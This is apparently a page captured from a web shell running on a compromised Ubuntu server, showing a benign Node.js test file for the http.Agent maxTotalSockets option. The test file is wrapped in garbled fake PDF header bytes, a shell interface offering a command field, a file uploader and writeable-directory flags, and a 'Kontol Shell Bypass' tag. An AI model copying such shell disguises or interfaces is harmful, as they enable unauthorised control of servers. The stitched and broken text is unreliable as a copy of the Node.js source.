%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /proc/self/root/home/ubuntu/node-v16.18.1/test/parallel/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : //proc/self/root/home/ubuntu/node-v16.18.1/test/parallel/test-http-agent-maxtotalsockets.js
'use strict';

const common = require('../common');
const assert = require('assert');
const http = require('http');
const Countdown = require('../common/countdown');

assert.throws(() => new http.Agent({
  maxTotalSockets: 'test',
}), {
  code: 'ERR_INVALID_ARG_TYPE',
  name: 'TypeError',
  message: 'The "maxTotalSockets" argument must be of type number. ' +
    "Received type string ('test')",
});

[-1, 0, NaN].forEach((item) => {
  assert.throws(() => new http.Agent({
    maxTotalSockets: item,
  }), {
    code: 'ERR_OUT_OF_RANGE',
    name: 'RangeError',
    message: 'The value of "maxTotalSockets" is out of range. ' +
      `It must be > 0. Received ${item}`,
  });
});

assert.ok(new http.Agent({
  maxTotalSockets: Infinity,
}));

function start(param = {}) {
  const { maxTotalSockets, maxSockets } = param;

  const agent = new http.Agent({
    keepAlive: true,
    keepAliveMsecs: 1000,
    maxTotalSockets,
    maxSockets,
    maxFreeSockets: 3
  });

  const server = http.createServer(common.mustCall((req, res) => {
    res.end('hello world');
  }, 6));
  const server2 = http.createServer(common.mustCall((req, res) => {
    res.end('hello world');
  }, 6));

  server.keepAliveTimeout = 0;
  server2.keepAliveTimeout = 0;

  const countdown = new Countdown(12, () => {
    assert.strictEqual(getRequestCount(), 0);
    agent.destroy();
    server.close();
    server2.close();
  });

  function handler(s) {
    for (let i = 0; i < 6; i++) {
      http.get({
        host: 'localhost',
        port: s.address().port,
        agent,
        path: `/${i}`,
      }, common.mustCall((res) => {
        assert.strictEqual(res.statusCode, 200);
        res.resume();
        res.on('end', common.mustCall(() => {
          for (const key of Object.keys(agent.sockets)) {
            assert(agent.sockets[key].length <= maxSockets);
          }
          assert(getTotalSocketsCount() <= maxTotalSockets);
          countdown.dec();
        }));
      }));
    }
  }

  function getTotalSocketsCount() {
    let num = 0;
    for (const key of Object.keys(agent.sockets)) {
      num += agent.sockets[key].length;
    }
    return num;
  }

  function getRequestCount() {
    let num = 0;
    for (const key of Object.keys(agent.requests)) {
      num += agent.requests[key].length;
    }
    return num;
  }

  server.listen(0, common.mustCall(() => handler(server)));
  server2.listen(0, common.mustCall(() => handler(server2)));
}

// If maxTotalSockets is larger than maxSockets,
// then the origin check will be skipped
// when the socket is removed.
[{
  maxTotalSockets: 2,
  maxSockets: 3,
}, {
  maxTotalSockets: 3,
  maxSockets: 2,
}, {
  maxTotalSockets: 2,
  maxSockets: 2,
}].forEach(start);

Kontol Shell Bypass